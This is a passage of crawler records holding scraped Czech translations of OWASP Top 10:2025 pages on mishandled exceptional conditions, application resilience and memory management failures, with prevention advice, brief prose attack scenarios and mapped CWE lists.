"https://top10proactive.owasp.org/archive/2024/the-top-10/c9-security-logging-and-monitoring/", "https://github.com/OWASP/ASVS/blob/v5.0.0/5.0/en/0x25-V16-Security-Logging-and-Error-Handling.md", "https://cheatsheetseries.owasp.org/cheatsheets/Application_Logging_Vocabulary_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html", "https://csrc.nist.gov/publications/detail/sp/1800-11/final", "https://csrc.nist.gov/publications/detail/sp/1800-25/final", "https://csrc.nist.gov/publications/detail/sp/1800-26/final", "https://www.huntress.com/threat-library/data-breach/snowflake-data-breach", "https://cwe.mitre.org/data/definitions/117.html", "https://cwe.mitre.org/data/definitions/221.html", "https://cwe.mitre.org/data/definitions/223.html", "https://cwe.mitre.org/data/definitions/532.html", "https://cwe.mitre.org/data/definitions/778.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/cs/A10_2025-Mishandling_of_Exceptional_Conditions/", "titulek": "A10 Nesprávné zpracování výjimečných stavů - OWASP Top 10:2025", "h1": "A10:2025 Nesprávné zpracování výjimečných stavů (Mishandling of Exceptional Conditions)", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/cs/A10_2025-Mishandling_of_Exceptional_Conditions/", "jazyk": "cs", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A10:2025 Nesprávné zpracování výjimečných stavů (Mishandling of Exceptional Conditions)"}, {"uroven": 2, "text": "Pozadí"}, {"uroven": 2, "text": "Tabulka skóre"}, {"uroven": 2, "text": "Popis"}, {"uroven": 2, "text": "Jak tomu zabránit"}, {"uroven": 2, "text": "Příklady scénářů útoků"}, {"uroven": 2, "text": "Reference"}, {"uroven": 2, "text": "Seznam mapovaných CWE"}], "markdown": "# A10:2025 Nesprávné zpracování výjimečných stavů (Mishandling of Exceptional Conditions)\n\n## Pozadí\n\nNesprávné zpracování výjimečných stavů je nová kategorie pro rok 2025. Tato kategorie obsahuje 24 CWE a zaměřuje se na nesprávné zpracování chyb (error handling), logické chyby, failing open (tj. pokračování i po chybě) a další související scénáře vyplývající z abnormálních stavů, se kterými se systémy mohou setkat. Tato kategorie obsahuje některé CWE, které byly dříve spojovány se špatnou kvalitou kódu. To bylo pro nás příliš obecné; podle našeho názoru poskytuje tato konkrétnější kategorie lepší vodítko.\n\nMezi významné CWE zahrnuté v této kategorii patří: *CWE-209 Generation of Error Message Containing Sensitive Information, CWE-234 Failure to Handle Missing Parameter, CWE-274 Improper Handling of Insufficient Privileges, CWE-476 NULL Pointer Dereference,* a *CWE-636 Not Failing Securely ('Failing Open')*.\n\n## Tabulka skóre\n\n| Počet mapovaných CWE | Max míra výskytu | Průměrná míra výskytu | Max pokrytí | Průměrné pokrytí | Průměrná vážená zneužitelnost | Průměrný vážený dopad | Celkový počet výskytů | Celkový počet CVE |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 24 | 20,67 % | 2,95 % | 100,00 % | 37,95 % | 7,11 | 3,81 | 769 581 | 3 416 |\n\n## Popis\n\nK nesprávnému zpracování výjimečných stavů v softwaru dochází, když programy nedokážou zabránit tomu, aby nastaly neobvyklé a nepředvídatelné situace, nedokážou je detekovat a reagovat na ně, což vede k selháním, neočekávanému chování a někdy i ke zranitelnostem. Může se jednat o jednu nebo více z následujících tří nedostatků: aplikace nezabrání vzniku neobvyklé situace, nedokáže identifikovat situaci v okamžiku, kdy k ní dochází, a/nebo na ni reaguje špatně nebo vůbec.\n\nVýjimečné stavy mohou být způsobeny chybějící, špatnou nebo neúplnou validací vstupů, pozdním zpracováním chyb (error handling) na vysoké úrovni namísto ve funkcích, kde k nim dochází, nebo neočekávanými stavy prostředí, jako jsou problémy s pamětí, oprávněními nebo sítí, nekonzistentním zpracováním výjimek nebo výjimkami, které nejsou zpracovány vůbec, což umožňuje systému upadnout do neznámého a nepředvídatelného stavu. Kdykoli si aplikace není jistá svým dalším pokynem, došlo k nesprávnému zpracování výjimečného stavu. Těžko zjistitelné chyby a výjimky mohou dlouhodobě ohrožovat bezpečnost celé aplikace.\n\nKdyž výjimečné stavy zpracujeme nesprávně, může dojít k mnoha různým bezpečnostním zranitelnostem, jako jsou logické chyby, přetečení, souběhy (race conditiony; též „závodní stavy“), podvodné transakce nebo problémy s pamětí, stavem, zdroji, načasováním, ověřováním a autorizací. Tyto typy zranitelností mohou negativně ovlivnit důvěrnost, dostupnost a/nebo integritu systému nebo jeho dat. Útočníci manipulují s chybným zpracováním chyb aplikace, aby tyto zranitelnosti využili.\n\n## Jak tomu zabránit\n\nAbychom mohli výjimečný stav správně zpracovat, musíme na takové situace plánovat (očekávat nejhorší). Musíme „zachytit“ každou možnou systémovou chybu přímo v místě, kde k ní dochází, a poté ji zpracovat (tj. udělat něco smysluplného k vyřešení problému a zajistit, že se z něj zotavíme). Součástí zpracování by mělo být vyvolání chyby (aby byl uživatel informován srozumitelným způsobem), logování události a také vyvolání upozornění (alertu), pokud to považujeme za oprávněné. Měli bychom mít také globální handler výjimek (globální obsluhu/zpracování výjimek) pro případ, že nám něco unikne. V ideálním případě bychom měli mít také nástroje nebo funkcionalitu pro monitoring a/nebo observability, které sledují opakované chyby nebo vzorce naznačující probíhající útok a které mohou vyvolat nějakou reakci, obranu nebo blokování. To nám může pomoci blokovat a reagovat na skripty a boty, které se zaměřují na slabiny našeho zpracování chyb.\n\nZachytávání a zpracování výjimečných stavů zajišťuje, že základní infrastruktura našich programů není ponechána, aby se vypořádávala s nepředvídatelnými situacemi. Pokud jste uprostřed jakékoli transakce, je mimořádně důležité, abyste provedli rollback každé její části a začali znovu (také známé jako fail closed). Pokus o zotavení transakce uprostřed jejího průběhu je často místem, kde vznikají nevratné chyby.\n\nKdykoli je to možné, přidejte rate limiting, kvóty zdrojů, throttling (omezení) a další limity, abyste výjimečným stavům předcházeli už na začátku. V informačních technologiích by nic nemělo být bez limitu, protože to vede k nízké odolnosti aplikací, odmítnutí služby, úspěšným brute force útokům a mimořádně vysokým účtům za cloud. Zvažte, zda by identické opakované chyby nad určitou míru neměly být vypisovány pouze jako statistiky ukazující, jak často nastaly a v jakém časovém rámci. Tyto informace by měly být připojeny k původní zprávě tak, aby nenarušovaly automatizované logování a monitorování, viz [A09:2025 Selhání bezpečnostního logování a upozorňování (Security Logging & Alerting Failures)](../A09_2025-Security_Logging_and_Alerting_Failures/).\n\nKromě toho bychom chtěli zahrnout přísnou validaci vstupů (se sanitizací (očištěním) nebo escapováním potenciálně nebezpečných znaků, které musíme akceptovat), centralizované zpracování chyb, logování, monitorování a upozorňování a globální obsluhu výjimek (global exception handler). Jedna aplikace by neměla mít více funkcí pro zpracování výjimečných stavů; mělo by se to provádět na jednom místě, pokaždé stejným způsobem. Měli bychom také vytvořit bezpečnostní požadavky projektu pro všechna doporučení v této části, provést threat modelling (modelování hrozeb) a/nebo aktivity secure design review (bezpečnostní posouzení návrhu) ve fázi návrhu projektů, provést code review (revizi kódu) nebo statickou analýzu a také provést zátěžové, výkonnostní a penetrační testování finálního systému.\n\nPokud je to možné, měla by celá vaše organizace zpracovávat výjimečné stavy stejným způsobem, protože to usnadňuje kontrolu a audit kódu z hlediska chyb v této důležité bezpečnostní kontrole.\n\n## Příklady scénářů útoků\n\n**Scénář #1:** K vyčerpání zdrojů v důsledku nesprávného zpracování výjimečných stavů (Denial of Service) může dojít, pokud aplikace při nahrávání souborů zachytává výjimky, ale poté řádně neuvolňuje zdroje. Každá nová výjimka zanechává zdroje uzamčené nebo jinak nedostupné, dokud nejsou všechny zdroje vyčerpány.\n\n**Scénář #2:** Odhalení citlivých údajů v důsledku nesprávného zpracování nebo databázových chyb, které uživateli zobrazí kompletní systémovou chybu. Útočník pokračuje ve vyvolávání chyb, aby mohl citlivé systémové informace využít k vytvoření účinnějšího útoku typu SQL injection. Citlivé údaje v chybových hlášeních pro uživatele jsou součástí průzkumu (reconnaissance).\n\n**Scénář #3:** Poškození stavu finančních transakcí může být způsobeno útočníkem, který přeruší vícekrokovou transakci narušením síťového spojení. Představte si, že sled kroků transakce je: odepsat z účtu uživatele, připsat na účet příjemce, zaznamenat transakci. Pokud systém při chybě uprostřed transakce správně nevrátí zpět (rollback) celou transakci (fail closed), útočník by mohl potenciálně vyprázdnit účet uživatele, nebo může dojít k souběhu (race condition), který útočníkovi umožní odeslat peníze příjemci vícekrát.\n\n## Reference\n\nOWASP MASVS‑RESILIENCE\n\n- [OWASP Cheat Sheet: Logging](https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: Error Handling](https://cheatsheetseries.owasp.org/cheatsheets/Error_Handling_Cheat_Sheet.html)\n- [OWASP Application Security Verification Standard (ASVS): V16.5 Error Handling](https://github.com/OWASP/ASVS/blob/master/5.0/en/0x25-V16-Security-Logging-and-Error-Handling.md#v165-error-handling)\n- [OWASP Testing Guide: 4.8.1 Testing for Error Handling](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling/01-Testing_For_Improper_Error_Handling)\n- [Best practices for exceptions (Microsoft, .Net)](https://learn.microsoft.com/en-us/dotnet/standard/exceptions/best-practices-for-exceptions)\n- [Clean Code and the Art of Exception Handling (Toptal)](https://www.toptal.com/developers/abap/clean-code-and-the-art-of-exception-handling)\n- [General error handling rules (Google for Developers)](https://developers.google.com/tech-writing/error-messages/error-handling)\n- [Example of real-world mishandling of an exceptional condition](https://www.firstreference.com/blog/human-error-and-internal-control-failures-cause-us62m-fine/)\n\n## Seznam mapovaných CWE\n\n- [CWE-209 Generation of Error Message Containing Sensitive Information](https://cwe.mitre.org/data/definitions/209.html)\n- [CWE-215 Insertion of Sensitive Information Into Debugging Code](https://cwe.mitre.org/data/definitions/215.html)\n- [CWE-234 Failure to Handle Missing Parameter](https://cwe.mitre.org/data/definitions/234.html)\n- [CWE-235 Improper Handling of Extra Parameters](https://cwe.mitre.org/data/definitions/235.html)\n- [CWE-248 Uncaught Exception](https://cwe.mitre.org/data/definitions/248.html)\n- [CWE-252 Unchecked Return Value](https://cwe.mitre.org/data/definitions/252.html)\n- [CWE-274 Improper Handling of Insufficient Privileges](https://cwe.mitre.org/data/definitions/274.html)\n- [CWE-280 Improper Handling of Insufficient Permissions or Privileges](https://cwe.mitre.org/data/definitions/280.html)\n- [CWE-369 Divide By Zero](https://cwe.mitre.org/data/definitions/369.html)\n- [CWE-390 Detection of Error Condition Without Action](https://cwe.mitre.org/data/definitions/390.html)\n- [CWE-391 Unchecked Error Condition](https://cwe.mitre.org/data/definitions/391.html)\n- [CWE-394 Unexpected Status Code or Return Value](https://cwe.mitre.org/data/definitions/394.html)\n- [CWE-396 Declaration of Catch for Generic Exception](https://cwe.mitre.org/data/definitions/396.html)\n- [CWE-397 Declaration of Throws for Generic Exception](https://cwe.mitre.org/data/definitions/397.html)\n- [CWE-460 Improper Cleanup on Thrown Exception](https://cwe.mitre.org/data/definitions/460.html)\n- [CWE-476 NULL Pointer Dereference](https://cwe.mitre.org/data/definitions/476.html)\n- [CWE-478 Missing Default Case in Multiple Condition Expression](https://cwe.mitre.org/data/definitions/478.html)\n- [CWE-484 Omitted Break Statement in Switch](https://cwe.mitre.org/data/definitions/484.html)\n- [CWE-550 Server-generated Error Message Containing Sensitive Information](https://cwe.mitre.org/data/definitions/550.html)\n- [CWE-636 Not Failing Securely ('Failing Open')](https://cwe.mitre.org/data/definitions/636.html)\n- [CWE-703 Improper Check or Handling of Exceptional Conditions](https://cwe.mitre.org/data/definitions/703.html)\n- [CWE-754 Improper Check for Unusual or Exceptional Conditions](https://cwe.mitre.org/data/definitions/754.html)\n- [CWE-755 Improper Handling of Exceptional Conditions](https://cwe.mitre.org/data/definitions/755.html)\n- [CWE-756 Missing Custom Error Page](https://cwe.mitre.org/data/definitions/756.html)", "znaku_textu": 10796, "slov": 1248, "odkazu": 67, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:08:42", "sha256": "99fdac03ae0e8c6b234e27c25ff533bccccf59822f187c2b6b7c49b038c6ac01", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Error_Handling_Cheat_Sheet.html", "https://github.com/OWASP/ASVS/blob/master/5.0/en/0x25-V16-Security-Logging-and-Error-Handling.md", "https://learn.microsoft.com/en-us/dotnet/standard/exceptions/best-practices-for-exceptions", "https://www.toptal.com/developers/abap/clean-code-and-the-art-of-exception-handling", "https://developers.google.com/tech-writing/error-messages/error-handling", "https://www.firstreference.com/blog/human-error-and-internal-control-failures-cause-us62m-fine/", "https://cwe.mitre.org/data/definitions/209.html", "https://cwe.mitre.org/data/definitions/215.html", "https://cwe.mitre.org/data/definitions/234.html", "https://cwe.mitre.org/data/definitions/235.html", "https://cwe.mitre.org/data/definitions/248.html", "https://cwe.mitre.org/data/definitions/252.html", "https://cwe.mitre.org/data/definitions/274.html", "https://cwe.mitre.org/data/definitions/280.html", "https://cwe.mitre.org/data/definitions/369.html", "https://cwe.mitre.org/data/definitions/390.html", "https://cwe.mitre.org/data/definitions/391.html", "https://cwe.mitre.org/data/definitions/394.html", "https://cwe.mitre.org/data/definitions/396.html", "https://cwe.mitre.org/data/definitions/397.html", "https://cwe.mitre.org/data/definitions/460.html", "https://cwe.mitre.org/data/definitions/476.html", "https://cwe.mitre.org/data/definitions/478.html", "https://cwe.mitre.org/data/definitions/484.html", "https://cwe.mitre.org/data/definitions/550.html", "https://cwe.mitre.org/data/definitions/636.html", "https://cwe.mitre.org/data/definitions/703.html", "https://cwe.mitre.org/data/definitions/754.html", "https://cwe.mitre.org/data/definitions/755.html", "https://cwe.mitre.org/data/definitions/756.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/cs/X01_2025-Next_Steps/", "titulek": "Další kroky - OWASP Top 10:2025", "h1": "Další kroky", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/cs/X01_2025-Next_Steps/", "jazyk": "cs", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Další kroky"}, {"uroven": 2, "text": "X01:2025 Nedostatečná odolnost aplikací (Lack of Application Resilience)"}, {"uroven": 3, "text": "Pozadí"}, {"uroven": 3, "text": "Tabulka skóre"}, {"uroven": 3, "text": "Popis"}, {"uroven": 3, "text": "Jak tomu zabránit"}, {"uroven": 3, "text": "Příklady scénářů útoků"}, {"uroven": 3, "text": "Reference."}, {"uroven": 3, "text": "Seznam mapovaných CWE"}, {"uroven": 2, "text": "X02:2025 Selhání správy paměti (Memory Management Failures)"}, {"uroven": 3, "text": "Pozadí"}, {"uroven": 3, "text": "Tabulka skóre"}, {"uroven": 3, "text": "Popis"}, {"uroven": 3, "text": "Jak tomu zabránit"}, {"uroven": 3, "text": "Příklady scénářů útoků"}, {"uroven": 3, "text": "Reference"}, {"uroven": 3, "text": "Seznam mapovaných CWE"}, {"uroven": 2, "text": "X03:2025 Nepřiměřená důvěra v kód generovaný AI (Inappropriate Trust in AI Generated Code („Vibe Coding“))"}, {"uroven": 3, "text": "Pozadí"}, {"uroven": 3, "text": "Popis"}, {"uroven": 3, "text": "Jak tomu zabránit"}, {"uroven": 3, "text": "Reference"}, {"uroven": 3, "text": "Seznam mapovaných CWE"}], "markdown": "# Další kroky\n\nOWASP Top 10 je záměrně omezen na deset nejvýznamnějších rizik. V každém vydání OWASP Top 10 jsou důkladně zvažována také rizika, která byla „na hraně“ zařazení, ale nakonec se do finálního výběru nedostala. Nakonec dostala přednost rizika, která byla rozšířenější a měla větší dopad.\n\nNásledující problémy rozhodně stojí za to identifikovat a odstranit, zejména pro organizace usilující o vyspělý program bezpečnosti aplikací, bezpečnostní konzultanty a dodavatele nástrojů, kteří chtějí rozšířit pokrytí svých řešení.\n\n## X01:2025 Nedostatečná odolnost aplikací (Lack of Application Resilience)\n\n### Pozadí\n\nJde o přejmenování kategorie „Odmítnutí služby“ (Denial of Service) z roku 2021. Byla přejmenována, protože popisovala spíše důsledek než kořenovou příčinu. Tato kategorie se zaměřuje na CWE, která popisují slabiny související s problémy v oblasti odolnosti. Hodnocení této kategorie bylo velmi blízké kategorii A10:2025 Nesprávné zpracování výjimečných stavů (Mishandling of Exceptional Conditions). Mezi relevantní CWE patří: *CWE-400 Uncontrolled Resource Consumption, CWE-409 Improper Handling of Highly Compressed Data (Data Amplification), CWE-674 Uncontrolled Recursion* a *CWE-835 Loop with Unreachable Exit Condition („Infinite Loop“)*.\n\n### Tabulka skóre\n\n| Počet mapovaných CWE | Max míra výskytu | Průměrná míra výskytu | Max pokrytí | Průměrné pokrytí | Průměrná vážená zneužitelnost | Průměrný vážený dopad | Celkový počet výskytů | Celkový počet CVE |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 16 | 20,05 % | 4,55 % | 86,01 % | 41,47 % | 7,92 | 3,49 | 865 066 | 4 423 |\n\n### Popis\n\nTato kategorie představuje systémovou slabinu v tom, jak aplikace reagují na zátěž, selhání a hraniční případy, z nichž se nedokážou zotavit. Pokud aplikace nedokáže neočekávané stavy, omezení zdrojů a další nepříznivé události řádně zvládnout, ustát je nebo se z nich zotavit, může to snadno vést k problémům s dostupností (nejčastěji), ale také k poškození dat, úniku citlivých informací, kaskádovým selháním nebo obejití bezpečnostních kontrol.\n\nKromě toho mohou X02:2025 Selhání správy paměti X02:2025 Selhání správy paměti (Memory Management Failures) vést také k selhání aplikace nebo dokonce celého systému.\n\n### Jak tomu zabránit\n\nAbyste tomuto typu zranitelnosti předešli, musíte své systémy navrhovat s ohledem na selhání a obnovu.\n\n- Přidejte limity, kvóty a funkce pro převzetí služeb při selhání (failover) a věnujte zvláštní pozornost operacím s nejvyšší spotřebou zdrojů.\n- Identifikujte stránky náročné na zdroje a plánujte dopředu: zmenšujte plochu útoku, zejména tím, že nebudete neznámým nebo nedůvěryhodným uživatelům zpřístupňovat nepotřebné „gadgety“ a funkce vyžadující velké množství zdrojů (např. CPU, paměť).\n- Provádějte přísnou validaci vstupů pomocí allow-listů a omezení velikosti a poté důkladně testujte.\n- Omezte velikost odpovědí a nikdy klientovi neposílejte nezpracované odpovědi (zpracovávejte je na straně serveru).\n- Ve výchozím stavu používejte bezpečný uzavřený režim (nikdy otevřený< fail closed, nikdy „open“), uplatňujte princip implicitního zamítnutí a při chybě proveďte rollback.\n- Vyhněte se blokujícím synchronním voláním ve vláknech obsluhy požadavků (používejte asynchronní nebo neblokující přístup, nastavujte časové limity, omezujte souběžnost apod.).\n- Pečlivě testujte funkcionalitu zpracování chyb.\n- Implementujte resilience patterns (vzorce odolnosti), jako jsou circuit breakers (pojistky), bulkheads (oddělení/kompartmenty; izolace částí systému), retry logika (logika opakování / opakované pokusy) a graceful degradation (řízený přechod do omezeného režimu).\n- Provádějte testování výkonu a zátěže (performance a load testing); pokud tomu odpovídá vaše tolerance k riziku (risk apetit), přidejte i chaos engineering (testování odolnosti řízeným vyvoláváním poruch).\n- Tam, kde je to rozumné a cenově přijatelné, navrhujte a implementujte architekturu s redundancí.\n- Implementujte monitoring, observability a alerting.\n- Filtrujte neplatné zdrojové adresy v souladu s RFC 2267.\n- Blokujte známé botnety podle fingerprintů, IP adres nebo dynamicky podle chování.\n- Proof-of-Work: iniciujte na straně útočníka operace náročné na zdroje, které nemají velký dopad na běžné uživatele, ale mají dopad na boty snažící se odesílat obrovské množství požadavků. Pokud celkové zatížení systému roste, zvyšujte obtížnost Proof-of-Work, zejména u méně důvěryhodných subjektů nebo těch, které se jeví jako boti.\n- Omezte dobu trvání relace na straně serveru podle nečinnosti a konečného časového limitu.\n- Omezte ukládání informací vázaných na relaci.\n\n### Příklady scénářů útoků\n\n**Scénář #1:** Útočníci záměrně spotřebovávají zdroje aplikace, aby vyvolali selhání systému, což vede k odmítnutí služby. Může jít o vyčerpání paměti, zaplnění diskového prostoru, saturaci CPU nebo navazování nekonečného množství připojení.\n\n**Scénář #2:** Fuzzing vstupů vede ke zkonstruovaným odpovědím, které narušují aplikační byznysovou logiku.\n\n**Scénář #3:** Útočníci se zaměřují na závislosti aplikace, vyřadí z provozu API nebo jiné externí služby a aplikace není schopna pokračovat.\n\n### Reference.\n\n- [OWASP Cheat Sheet: Denial of Service](https://cheatsheetseries.owasp.org/cheatsheets/Denial_of_Service_Cheat_Sheet.html)\n- [OWASP MASVS‑RESILIENCE](https://mas.owasp.org/MASVS/11-MASVS-RESILIENCE/)\n- [ASP.NET Core Best Practices (Microsoft)](https://learn.microsoft.com/en-us/aspnet/core/fundamentals/best-practices?view=aspnetcore-9.0)\n- [Resilience in Microservices: Bulkhead vs Circuit Breaker (Parser)](https://medium.com/@parserdigital/resilience-in-microservices-bulkhead-vs-circuit-breaker-54364c1f9d53)\n- [Bulkhead Pattern (Geeks for Geeks)](https://www.geeksforgeeks.org/system-design/bulkhead-pattern/)\n- [NIST Cybersecurity Framework (CSF)](https://www.nist.gov/cyberframework)\n- [Avoid Blocking Calls: Go Async in Java (Devlane)](https://www.devlane.com/blog/avoid-blocking-calls-go-async-in-java)\n\n### Seznam mapovaných CWE\n\n- [CWE-73 External Control of File Name or Path](https://cwe.mitre.org/data/definitions/73.html)\n- [CWE-183 Permissive List of Allowed Inputs](https://cwe.mitre.org/data/definitions/183.html)\n- [CWE-256 Plaintext Storage of a Password](https://cwe.mitre.org/data/definitions/256.html)\n- [CWE-266 Incorrect Privilege Assignment](https://cwe.mitre.org/data/definitions/266.html)\n- [CWE-269 Improper Privilege Management](https://cwe.mitre.org/data/definitions/269.html)\n- [CWE-286 Incorrect User Management](https://cwe.mitre.org/data/definitions/286.html)\n- [CWE-311 Missing Encryption of Sensitive Data](https://cwe.mitre.org/data/definitions/311.html)\n- [CWE-312 Cleartext Storage of Sensitive Information](https://cwe.mitre.org/data/definitions/312.html)\n- [CWE-313 Cleartext Storage in a File or on Disk](https://cwe.mitre.org/data/definitions/313.html)\n- [CWE-316 Cleartext Storage of Sensitive Information in Memory](https://cwe.mitre.org/data/definitions/316.html)\n- [CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')](https://cwe.mitre.org/data/definitions/362.html)\n- [CWE-382 J2EE Bad Practices: Use of System.exit()](https://cwe.mitre.org/data/definitions/382.html)\n- [CWE-419 Unprotected Primary Channel](https://cwe.mitre.org/data/definitions/419.html)\n- [CWE-434 Unrestricted Upload of File with Dangerous Type](https://cwe.mitre.org/data/definitions/434.html)\n- [CWE-436 Interpretation Conflict](https://cwe.mitre.org/data/definitions/436.html)\n- [CWE-444 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')](https://cwe.mitre.org/data/definitions/444.html)\n- [CWE-451 User Interface (UI) Misrepresentation of Critical Information](https://cwe.mitre.org/data/definitions/451.html)\n- [CWE-454 External Initialization of Trusted Variables or Data Stores](https://cwe.mitre.org/data/definitions/454.html)\n- [CWE-472 External Control of Assumed-Immutable Web Parameter](https://cwe.mitre.org/data/definitions/472.html)\n- [CWE-501 Trust Boundary Violation](https://cwe.mitre.org/data/definitions/501.html)\n- [CWE-522 Insufficiently Protected Credentials](https://cwe.mitre.org/data/definitions/522.html)\n- [CWE-525 Use of Web Browser Cache Containing Sensitive Information](https://cwe.mitre.org/data/definitions/525.html)\n- [CWE-539 Use of Persistent Cookies Containing Sensitive Information](https://cwe.mitre.org/data/definitions/539.html)\n- [CWE-598 Use of GET Request Method With Sensitive Query Strings](https://cwe.mitre.org/data/definitions/598.html)\n- [CWE-602 Client-Side Enforcement of Server-Side Security](https://cwe.mitre.org/data/definitions/602.html)\n- [CWE-628 Function Call with Incorrectly Specified Arguments](https://cwe.mitre.org/data/definitions/628.html)\n- [CWE-642 External Control of Critical State Data](https://cwe.mitre.org/data/definitions/642.html)\n- [CWE-646 Reliance on File Name or Extension of Externally-Supplied File](https://cwe.mitre.org/data/definitions/646.html)\n- [CWE-653 Improper Isolation or Compartmentalization](https://cwe.mitre.org/data/definitions/653.html)\n- [CWE-656 Reliance on Security Through Obscurity](https://cwe.mitre.org/data/definitions/656.html)\n- [CWE-657 Violation of Secure Design Principles](https://cwe.mitre.org/data/definitions/657.html)\n- [CWE-676 Use of Potentially Dangerous Function](https://cwe.mitre.org/data/definitions/676.html)\n- [CWE-693 Protection Mechanism Failure](https://cwe.mitre.org/data/definitions/693.html)\n- [CWE-799 Improper Control of Interaction Frequency](https://cwe.mitre.org/data/definitions/799.html)\n- [CWE-807 Reliance on Untrusted Inputs in a Security Decision](https://cwe.mitre.org/data/definitions/807.html)\n- [CWE-841 Improper Enforcement of Behavioral Workflow](https://cwe.mitre.org/data/definitions/841.html)\n- [CWE-1021 Improper Restriction of Rendered UI Layers or Frames](https://cwe.mitre.org/data/definitions/1021.html)\n- [CWE-1022 Use of Web Link to Untrusted Target with window.opener Access](https://cwe.mitre.org/data/definitions/1022.html)\n- [CWE-1125 Excessive Attack Surface](https://cwe.mitre.org/data/definitions/1125.html)\n\n## X02:2025 Selhání správy paměti (Memory Management Failures)\n\n### Pozadí\n\nJazyky jako Java, C#, JavaScript/TypeScript (node.js), Go a „bezpečný“ Rust jsou paměťově bezpečné. Problémy se správou paměti se naopak obvykle objevují v jazycích, které paměťově bezpečné nejsou, například v C a C++. Tato kategorie získala v komunitním průzkumu nejnižší hodnocení a nízké zastoupení měla i v datech, přestože vykazuje třetí nejvyšší počet souvisejících CVE. Domníváme se, že je to dáno převahou webových aplikací nad tradičnějšími desktopovými aplikacemi. Zranitelnosti související se správou paměti často dosahují nejvyšších skóre CVSS.\n\n### Tabulka skóre\n\n| Počet mapovaných CWE | Max míra výskytu | Průměrná míra výskytu | Max pokrytí | Průměrné pokrytí | Průměrná vážená zneužitelnost | Průměrný vážený dopad | Celkový počet výskytů | Celkový počet CVE |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 24 | 2,96 % | 1,13 % | 55,62 % | 28,45 % | 6,75 | 4,82 | 220 414 | 30 978 |\n\n### Popis\n\nKdyž je aplikace nucena spravovat paměť sama, je velmi snadné udělat chybu. Paměťově bezpečné jazyky se používají stále častěji, ale po celém světě je stále v provozu mnoho legacy systémů, vznikají nové nízkoúrovňové systémy vyžadující použití jazyků, které nejsou paměťově bezpečné, a existují i webové aplikace, které komunikují s mainframy, zařízeními IoT, firmwarem a dalšími systémy, jež mohou být nuceny spravovat vlastní paměť. Mezi reprezentativní CWE patří *CWE-120 Buffer Copy without Checking Size of Input („Classic Buffer Overflow“)* a *CWE-121 Stack-based Buffer Overflow*.\n\nK selhání správy paměti může dojít, když:\n\n- Proměnné nepřidělíte dostatek paměti.\n- Nevalidujete vstup, což způsobí přetečení haldy, zásobníku nebo bufferu.\n- Uložíte datovou hodnotu, která je větší, než dokáže pojmout datový typ proměnné.\n- Pokusíte se použít nepřidělenou paměť nebo nepřidělený adresní prostor.\n- Vytvoříte chybu typu off-by-one (počítání od 1 místo od nuly).\n- Pokusíte se přistoupit k objektu poté, co byl uvolněn.\n- Použijete neinicializované proměnné.\n- Způsobíte únik paměti nebo jinak chybně vyčerpáte veškerou dostupnou paměť, až aplikace selže.\n\nSelhání správy paměti může vést k selhání aplikace nebo dokonce celého systému, viz také X01:2025 – Nedostatečná odolnost aplikací (Lack of Application Resilience).\n\n### Jak tomu zabránit\n\nNejlepším způsobem, jak předcházet selháním správy paměti, je používat paměťově bezpečný jazyk. Příklady zahrnují Rust, Javu, Go, C#, Python, Swift, Kotlin, JavaScript atd. Při vytváření nových aplikací se snažte svou organizaci přesvědčit, že stojí za to překonat křivku učení a přejít na paměťově bezpečný jazyk. Pokud provádíte kompletní refaktoring, prosazujte přepsání do paměťově bezpečného jazyka, kdykoli je to možné a proveditelné.\n\nPokud nemůžete použít paměťově bezpečný jazyk, proveďte následující:\n\n- Povolte následující serverové funkce, které ztěžují zneužití chyb správy paměti: address space layout randomization (ASLR), Data Execution Protection (DEP) a Structured Exception Handling Overwrite Protection (SEHOP).\n- Monitorujte aplikaci z hlediska úniků paměti.\n- Velmi pečlivě validujte všechny vstupy do systému a odmítejte všechny vstupy, které neodpovídají očekáváním.\n- Prostudujte jazyk, který používáte, a sestavte seznam nebezpečných a bezpečnějších funkcí; poté jej sdílejte s celým týmem. Pokud je to možné, zařaďte jej do svých směrnic nebo standardu pro bezpečné kódování. Například v jazyce C upřednostňujte strncpy() před strcpy() a strncat() před strcat().\n- Pokud váš jazyk nebo framework nabízí knihovny pro paměťovou bezpečnost, používejte je. Například safestringlib nebo SafeStr.\n- Kdykoli je to možné, používejte spravované buffery a řetězce namísto holých polí a ukazatelů.\n- Absolvujte školení bezpečného kódování zaměřené na problémy spojené s pamětí a/nebo na vámi používaný jazyk. Informujte školitele, že vás znepokojují selhání správy paměti.\n- Provádějte revize kódu a/nebo statické analýzy.\n- Používejte nástroje kompilátoru, které pomáhají se správou paměti, jako jsou StackShield, StackGuard a Libsafe.\n- Provádějte fuzzing všech vstupů do systému.\n- Pokud podstupujete penetrační test, informujte testera, že vás znepokojují selhání správy paměti a že chcete, aby jim při testování věnoval zvláštní pozornost.\n- Opravte všechny chyby a varování kompilátoru. Neignorujte varování jen proto, že se program zkompiluje.\n- Zajistěte, aby byla vaše podkladová infrastruktura pravidelně 